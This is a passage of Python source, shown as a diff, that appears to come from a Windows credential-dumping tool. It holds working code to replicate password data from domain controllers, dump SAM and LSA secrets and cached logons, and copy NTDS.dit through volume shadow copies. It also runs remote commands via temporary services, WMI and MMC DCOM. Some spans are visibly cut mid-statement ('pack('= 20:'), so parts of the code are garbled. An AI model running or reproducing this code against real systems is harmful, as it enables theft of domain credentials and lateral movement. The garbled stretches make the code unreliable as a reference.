drsuapi.NTDSAPI_CLIENT_GUID + drs = drsuapi.DRS_EXTENSIONS_INT() + drs['cb'] = len(drs) #- 4 + drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ + drsuapi.DRS_EXT_STRONG_ENCRYPTION + drs['SiteObjGuid'] = drsuapi.NULLGUID + drs['Pid'] = 0 + drs['dwReplEpoch'] = 0 + drs['dwFlagsExt'] = 0 + drs['ConfigObjGUID'] = drsuapi.NULLGUID + # I'm uber potential (c) Ben + drs['dwExtCaps'] = 0xffffffff + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(drs.getData()) + resp = self.__drsr.request(request) + if LOG.level == logging.DEBUG: + LOG.debug('DRSBind() answer') + resp.dump() + + # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of + # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. + drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() + + # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. + ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( + len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) + drsExtensionsInt.fromString(ppextServer) + + if drsExtensionsInt['dwReplEpoch'] != 0: + # Different epoch, we have to call DRSBind again + if LOG.level == logging.DEBUG: + LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ + 'dwReplEpoch']) + drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] + request['pextClient']['cb'] = len(drs) + request['pextClient']['rgb'] = list(drs.getData()) + resp = self.__drsr.request(request) + + self.__hDrs = resp['phDrs'] + + # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges + resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) + if LOG.level == logging.DEBUG: + LOG.debug('DRSDomainControllerInfo() answer') + resp.dump() + + if resp['pmsgOut']['V2']['cItems'] > 0: + self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] + else: + LOG.error("Couldn't get DC info for domain %s" % self.__domainName) + raise Exception('Fatal, aborting') + + def getDrsr(self): + return self.__drsr + + def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, + formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): + if self.__drsr is None: + self.__connectDrds() + + LOG.debug('Calling DRSCrackNames for %s ' % name) + resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) + return resp + + def DRSGetNCChanges(self, userEntry): + if self.__drsr is None: + self.__connectDrds() + + LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry) + request = drsuapi.DRSGetNCChanges() + request['hDrs'] = self.__hDrs + request['dwInVersion'] = 8 + + request['pmsgIn']['tag'] = 8 + request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid + request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid + + dsName = drsuapi.DSNAME() + dsName['SidLen'] = 0 + dsName['Guid'] = string_to_bin(userEntry[1:-1]) + dsName['Sid'] = '' + dsName['NameLen'] = 0 + dsName['StringName'] = ('\x00') + + dsName['structLen'] = len(dsName.getData()) + + request['pmsgIn']['V8']['pNC'] = dsName + + request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 + request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 + + request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL + + request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP + request['pmsgIn']['V8']['cMaxObjects'] = 1 + request['pmsgIn']['V8']['cMaxBytes'] = 0 + request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ + if self.__ppartialAttrSet is None: + self.__prefixTable = [] + self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() + self.__ppartialAttrSet['dwVersion'] = 1 + self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) + for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()): + self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) + request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet + request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) + request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable + request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL + + return self.__drsr.request(request) + + def getDomainUsers(self, enumerationContext=0): + if self.__samr is None: + self.connectSamr(self.getMachineNameAndDomain()[1]) + + try: + resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, + userAccountControl=samr.USER_NORMAL_ACCOUNT | \ + samr.USER_WORKSTATION_TRUST_ACCOUNT | \ + samr.USER_SERVER_TRUST_ACCOUNT |\ + samr.USER_INTERDOMAIN_TRUST_ACCOUNT, + enumerationContext=enumerationContext) + except DCERPCException as e: + if str(e).find('STATUS_MORE_ENTRIES') < 0: + raise + resp = e.get_packet() + return resp + + def ridToSid(self, rid): + if self.__samr is None: + self.connectSamr(self.getMachineNameAndDomain()[1]) + resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) + return resp['Sid'] + + def getMachineKerberosSalt(self): + """ + Returns Kerberos salt for the current connection if + we have the correct information + """ + if self.__smbConnection.getServerName() == '': + # Todo: figure out an RPC call that gives us the domain FQDN + # instead of the NETBIOS name as NetrWkstaGetInfo does + return b'' + else: + host = self.__smbConnection.getServerName() + domain = self.__smbConnection.getServerDNSDomainName() + salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8')) + return salt + + def getMachineNameAndDomain(self): + if self.__smbConnection.getServerName() == '': + # No serverName.. this is either because we're doing Kerberos + # or not receiving that data during the login process. + # Let's try getting it through RPC + rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') + rpc.set_smb_connection(self.__smbConnection) + dce = rpc.get_dce_rpc() + dce.connect() + dce.bind(wkst.MSRPC_UUID_WKST) + resp = wkst.hNetrWkstaGetInfo(dce, 100) + dce.disconnect() + return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ + 'wki100_langroup'][:-1] + else: + return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() + + def getDefaultLoginAccount(self): + try: + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') + keyHandle = ans['phkResult'] + dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') + username = dataValue[:-1] + dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') + domain = dataValue[:-1] + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + if len(domain) > 0: + return '%s\\%s' % (domain,username) + else: + return username + except: + return None + + def getServiceAccount(self, serviceName): + try: + # Open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) + serviceHandle = ans['lpServiceHandle'] + resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) + account = resp['lpServiceConfig']['lpServiceStartName'][:-1] + scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) + if account.startswith('.\\'): + account = account[2:] + return account + except Exception as e: + # Don't log if history service is not found, that should be normal + if serviceName.endswith("_history") is False: + LOG.error(e) + return None + + def __checkServiceStatus(self): + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) + self.__serviceHandle = ans['lpServiceHandle'] + # Let's check its status + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: + LOG.info('Service %s is in stopped state'% self.__serviceName) + self.__shouldStop = True + self.__started = False + elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: + LOG.debug('Service %s is already running'% self.__serviceName) + self.__shouldStop = False + self.__started = True + else: + raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) + + # Let's check its configuration if service is stopped, maybe it's disabled :s + if self.__started is False: + ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) + if ans['lpServiceConfig']['dwStartType'] == 0x4: + LOG.info('Service %s is disabled, enabling it'% self.__serviceName) + self.__disabled = True + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) + LOG.info('Starting service %s' % self.__serviceName) + scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) + time.sleep(1) + + def enableRegistry(self): + self.__connectSvcCtl() + self.__checkServiceStatus() + self.__connectWinReg() + + def __restore(self): + # First of all stop the service if it was originally stopped + if self.__shouldStop is True: + LOG.info('Stopping service %s' % self.__serviceName) + scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) + if self.__disabled is True: + LOG.info('Restoring the disabled state for service %s' % self.__serviceName) + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) + if self.__serviceDeleted is False: + # Check again the service we created does not exist, starting a new connection + # Why?.. Hitting CTRL+C might break the whole existing DCE connection + try: + rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) + if hasattr(rpc, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpc.set_credentials(*self.__smbConnection.getCredentials()) + rpc.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) + service = resp['lpServiceHandle'] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) + scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) + rpc.disconnect() + except Exception as e: + # If service is stopped it'll trigger an exception + # If service does not exist it'll trigger an exception + # So. we just wanna be sure we delete it, no need to + # show this exception message + pass + + def finish(self): + self.__restore() + if self.__rrp is not None: + self.__rrp.disconnect() + if self.__drsr is not None: + self.__drsr.disconnect() + if self.__samr is not None: + self.__samr.disconnect() + if self.__scmr is not None: + try: + self.__scmr.disconnect() + except Exception as e: + if str(e).find('STATUS_INVALID_PARAMETER') >=0: + pass + else: + raise + + def getBootKey(self): + bootKey = b'' + ans = rrp.hOpenLocalMachine(self.__rrp) + self.__regHandle = ans['phKey'] + for key in ['JD','Skew1','GBG','Data']: + LOG.debug('Retrieving class info for %s'% key) + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) + keyHandle = ans['phkResult'] + ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) + bootKey = bootKey + b(ans['lpClassOut'][:-1]) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + + transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] + + bootKey = unhexlify(bootKey) + + for i in range(len(bootKey)): + self.__bootKey += bootKey[transforms[i]:transforms[i]+1] + + LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8')) + + return self.__bootKey + + def checkNoLMHashPolicy(self): + LOG.debug('Checking NoLMHash Policy') + ans = rrp.hOpenLocalMachine(self.__rrp) + self.__regHandle = ans['phKey'] + + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') + keyHandle = ans['phkResult'] + try: + dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') + except: + noLMHash = 0 + + if noLMHash != 1: + LOG.debug('LMHashes are being stored') + return False + + LOG.debug('LMHashes are NOT being stored') + return True + + def __retrieveHive(self, hiveName): + tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' + ans = rrp.hOpenLocalMachine(self.__rrp) + regHandle = ans['phKey'] + try: + ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) + except: + raise Exception("Can't open %s hive" % hiveName) + keyHandle = ans['phkResult'] + rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + rrp.hBaseRegCloseKey(self.__rrp, regHandle) + # Now let's open the remote file, so it can be read later + remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) + return remoteFileName + + def saveSAM(self): + LOG.debug('Saving remote SAM database') + return self.__retrieveHive('SAM') + + def saveSECURITY(self): + LOG.debug('Saving remote SECURITY database') + return self.__retrieveHive('SECURITY') + + def __smbExec(self, command): + self.__serviceDeleted = False + resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, + lpBinaryPathName=command) + service = resp['lpServiceHandle'] + try: + scmr.hRStartServiceW(self.__scmr, service) + except: + pass + scmr.hRDeleteService(self.__scmr, service) + self.__serviceDeleted = True + scmr.hRCloseServiceHandle(self.__scmr, service) + + def __getInterface(self, interface, resp): + # Now let's parse the answer and build an Interface instance + objRefType = OBJREF(b''.join(resp))['flags'] + objRef = None + if objRefType == FLAGS_OBJREF_CUSTOM: + objRef = OBJREF_CUSTOM(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_HANDLER: + objRef = OBJREF_HANDLER(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_STANDARD: + objRef = OBJREF_STANDARD(b''.join(resp)) + elif objRefType == FLAGS_OBJREF_EXTENDED: + objRef = OBJREF_EXTENDED(b''.join(resp)) + else: + logging.error("Unknown OBJREF Type! 0x%x" % objRefType) + + return IRemUnknown2( + INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], + oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], + target=interface.get_target())) + + def __mmcExec(self,command): + command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe') + username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() + dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, + oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) + iMMC = IDispatch(iInterface) + + resp = iMMC.GetIDsOfNames(('Document',)) + + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + resp = iDocument.GetIDsOfNames(('ActiveView',)) + resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) + + iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) + pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] + + pQuit = iMMC.GetIDsOfNames(('Quit',))[0] + + dispParams = DISPPARAMS(None, False) + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 4 + dispParams['cNamedArgs'] = 0 + arg0 = VARIANT(None, False) + arg0['clSize'] = 5 + arg0['vt'] = VARENUM.VT_BSTR + arg0['_varUnion']['tag'] = VARENUM.VT_BSTR + arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe' + + arg1 = VARIANT(None, False) + arg1['clSize'] = 5 + arg1['vt'] = VARENUM.VT_BSTR + arg1['_varUnion']['tag'] = VARENUM.VT_BSTR + arg1['_varUnion']['bstrVal']['asData'] = 'c:\\' + + arg2 = VARIANT(None, False) + arg2['clSize'] = 5 + arg2['vt'] = VARENUM.VT_BSTR + arg2['_varUnion']['tag'] = VARENUM.VT_BSTR + arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):] + + arg3 = VARIANT(None, False) + arg3['clSize'] = 5 + arg3['vt'] = VARENUM.VT_BSTR + arg3['_varUnion']['tag'] = VARENUM.VT_BSTR + arg3['_varUnion']['bstrVal']['asData'] = '7' + dispParams['rgvarg'].append(arg3) + dispParams['rgvarg'].append(arg2) + dispParams['rgvarg'].append(arg1) + dispParams['rgvarg'].append(arg0) + + iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) + + dispParams = DISPPARAMS(None, False) + dispParams['rgvarg'] = NULL + dispParams['rgdispidNamedArgs'] = NULL + dispParams['cArgs'] = 0 + dispParams['cNamedArgs'] = 0 + + iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) + + + def __wmiExec(self, command): + # Convert command to wmi exec friendly format + command = command.replace('%COMSPEC%', 'cmd.exe') + username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() + dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, + oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + win32Process,_ = iWbemServices.GetObject('Win32_Process') + win32Process.Create(command, '\\', None) + + dcom.disconnect() + + def __executeRemote(self, data): + self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ + self.__shell + self.__batchFile + command += ' & ' + 'del ' + self.__batchFile + + LOG.debug('ExecuteRemote command: %s' % command) + if self.__execMethod == 'smbexec': + self.__smbExec(command) + elif self.__execMethod == 'wmiexec': + self.__wmiExec(command) + elif self.__execMethod == 'mmcexec': + self.__mmcExec(command) + else: + raise Exception('Invalid exec method %s, aborting' % self.__execMethod) + + + def __answer(self, data): + self.__answerTMP += data + + def __getLastVSS(self): + self.__executeRemote('%COMSPEC% /C vssadmin list shadows') + time.sleep(5) + tries = 0 + while True: + try: + self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) + break + except Exception as e: + if tries > 30: + # We give up + raise Exception('Too many tries trying to list vss shadows') + if str(e).find('SHARING') > 0: + # Stuff didn't finish yet.. wait more + time.sleep(5) + tries +=1 + pass + else: + raise + + lines = self.__answerTMP.split(b'\n') + lastShadow = b'' + lastShadowFor = b'' + + # Let's find the last one + # The string used to search the shadow for drive. Wondering what happens + # in other languages + SHADOWFOR = b'Volume: (' + + for line in lines: + if line.find(b'GLOBALROOT') > 0: + lastShadow = line[line.find(b'\\\\?'):][:-1] + elif line.find(SHADOWFOR) > 0: + lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] + + self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') + + return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8') + + def saveNTDS(self): + LOG.info('Searching for NTDS.dit') + # First of all, let's try to read the target NTDS.dit registry entry + ans = rrp.hOpenLocalMachine(self.__rrp) + regHandle = ans['phKey'] + try: + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') + keyHandle = ans['phkResult'] + except: + # Can't open the registry path, assuming no NTDS on the other end + return None + + try: + dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') + ntdsLocation = dataValue[:-1] + ntdsDrive = ntdsLocation[:2] + except: + # Can't open the registry path, assuming no NTDS on the other end + return None + + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + rrp.hBaseRegCloseKey(self.__rrp, regHandle) + + LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) + LOG.info('Using %s method for remote execution' % self.__execMethod) + # Get the list of remote shadows + shadow, shadowFor = self.__getLastVSS() + if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): + # No shadow, create one + self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) + shadow, shadowFor = self.__getLastVSS() + shouldRemove = True + if shadow == '': + raise Exception('Could not get a VSS') + else: + shouldRemove = False + + # Now copy the ntds.dit to the temp directory + tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' + + self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) + + if shouldRemove is True: + self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) + + tries = 0 + while True: + try: + self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') + break + except Exception as e: + if tries >= 30: + raise e + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0: + tries += 1 + time.sleep(5) + pass + else: + logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e))) + pass + + remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) + + return remoteFileName + +class CryptoCommon: + # Common crypto stuff used over different classes + def deriveKey(self, baseKey): + # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key + # Let I be the little-endian, unsigned integer. + # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. + # Note that because I is in little-endian byte order, I[0] is the least significant byte. + # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. + # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] + key = pack('= 20: + lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle) + else: + lmHash = b'' + + if encNTHash != b'': + ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle) + else: + ntHash = b'' + + if lmHash == b'': + lmHash = ntlm.LMOWFv1('','') + if ntHash == b'': + ntHash = ntlm.NTOWFv1('','') + + answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8')) + self.__itemsFound[rid] = answer + self.__perSecretCallback(answer) + + def export(self, baseFileName, openFileFunc = None): + if len(self.__itemsFound) > 0: + items = sorted(self.__itemsFound) + fileName = baseFileName+'.sam' + fd = openFile(fileName, openFileFunc=openFileFunc) + for item in items: + fd.write(self.__itemsFound[item]+'\n') + fd.close() + return fileName + +class LSASecrets(OfflineRegistry): + UNKNOWN_USER = '(Unknown User)' + class SECRET_TYPE: + LSA = 0 + LSA_HASHED = 1 + LSA_RAW = 2 + LSA_KERBEROS = 3 + + def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False, + perSecretCallback=lambda secretType, secret: _print_helper(secret)): + OfflineRegistry.__init__(self, securityFile, isRemote) + self.__hashedBootKey = b'' + self.__bootKey = bootKey + self.__LSAKey = b'' + self.__NKLMKey = b'' + self.__vistaStyle = True + self.__cryptoCommon = CryptoCommon() + self.__securityFile = securityFile + self.__remoteOps = remoteOps + self.__cachedItems = [] + self.__secretItems = [] + self.__perSecretCallback = perSecretCallback + self.__history = history + + def MD5(self, data): + md5 = hashlib.new('md5') + md5.update(data) + return md5.digest() + + def __sha256(self, key, value, rounds=1000): + sha = hashlib.sha256() + sha.update(key) + for i in range(1000): + sha.update(value) + return sha.digest() + + def __decryptSecret(self, key, value): + # [MS-LSAD] Section 5.1.2 + plainText = '' + + encryptedSecretSize = unpack(' 0: + return data + (data & 0x3) + else: + return data + + def dumpCachedHashes(self): + if self.__securityFile is None: + # No SECURITY file provided + return + + LOG.info('Dumping cached domain logon information (domain/username:hash)') + + # Let's first see if there are cached entries + values = self.enumValues('\\Cache') + if values is None: + # No cache entries + return + try: + # Remove unnecessary value + values.remove(b'NL$Control') + except: + pass + + iterationCount = 10240 + + if b'NL$IterationCount' in values: + values.remove(b'NL$IterationCount') + + record = self.getValue('\\Cache\\NL$IterationCount')[1] + if record > 10240: + iterationCount = record & 0xfffffc00 + else: + iterationCount = record * 1024 + + self.__getLSASecretKey() + self.__getNLKMSecret() + + for value in values: + LOG.debug('Looking into %s' % value.decode('utf-8')) + record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]) + if record['IV'] != 16 * b'\x00': + #if record['UserLength'] > 0: + if record['Flags'] & 1 == 1: + # Encrypted + if self.__vistaStyle is True: + plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV']) + else: + plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV']) + pass + else: + # Plain! Until we figure out what this is, we skip it + #plainText = record['EncryptedData'] + continue + encHash = plainText[:0x10] + plainText = plainText[0x48:] + userName = plainText[:record['UserLength']].decode('utf-16le') + plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):] + domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le') + + if self.__vistaStyle is True: + answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8')) + else: + answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName) + + self.__cachedItems.append(answer) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer) + + def __printSecret(self, name, secretItem): + # Based on [MS-LSAD] section 3.1.1.4 + + # First off, let's discard NULL secrets. + if len(secretItem) == 0: + LOG.debug('Discarding secret %s, NULL Data' % name) + return + + # We might have secrets with zero + if secretItem.startswith(b'\x00\x00'): + LOG.debug('Discarding secret %s, all zeros' % name) + return + + upperName = name.upper() + + LOG.info('%s ' % name) + + secret = '' + + if upperName.startswith('_SC_'): + # Service name, a password might be there + # Let's first try to decode the secret + try: + strDecoded = secretItem.decode('utf-16le') + except: + pass + else: + # We have to get the account the service + # runs under + if hasattr(self.__remoteOps, 'getServiceAccount'): + account = self.__remoteOps.getServiceAccount(name[4:]) + if account is None: + secret = self.UNKNOWN_USER + ':' + else: + secret = "%s:" % account + else: + # We don't support getting this info for local targets at the moment + secret = self.UNKNOWN_USER + ':' + secret += strDecoded + elif upperName.startswith('DEFAULTPASSWORD'): + # defaults password for winlogon + # Let's first try to decode the secret + try: + strDecoded = secretItem.decode('utf-16le') + except: + pass + else: + # We have to get the account this password is for + if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): + account = self.__remoteOps.getDefaultLoginAccount() + if account is None: + secret = self.UNKNOWN_USER + ':' + else: + secret = "%s:" % account + else: + # We don't support getting this info for local targets at the moment + secret = self.UNKNOWN_USER + ':' + secret += strDecoded + elif upperName.startswith('ASPNET_WP_PASSWORD'): + try: + strDecoded = secretItem.decode('utf-16le') + except: + pass + else: + secret = 'ASPNET: %s' % strDecoded + elif upperName.startswith('DPAPI_SYSTEM'): + # Decode the DPAPI Secrets + dpapi = DPAPI_SYSTEM(secretItem) + secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'), + hexlify(dpapi['UserKey']).decode('latin-1')) + elif upperName.startswith('$MACHINE.ACC'): + # compute MD4 of the secret.. yes.. that is the nthash? :-o + md4 = MD4.new() + md4.update(secretItem) + if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): + machine, domain = self.__remoteOps.getMachineNameAndDomain() + printname = "%s\\%s$" % (domain, machine) + secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), + hexlify(md4.digest()).decode('utf-8')) + else: + printname = "$MACHINE.ACC" + secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), + hexlify(md4.digest()).decode('utf-8')) + # Attempt to calculate and print Kerberos keys + if not self.__printMachineKerberos(secretItem, printname): + LOG.debug('Could not calculate machine account Kerberos keys, printing plain password (hex encoded)') + extrasecret = "$MACHINE.ACC:plain_password_hex:%s" % hexlify(secretItem).decode('utf-8') + self.__secretItems.append(extrasecret) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) + + if 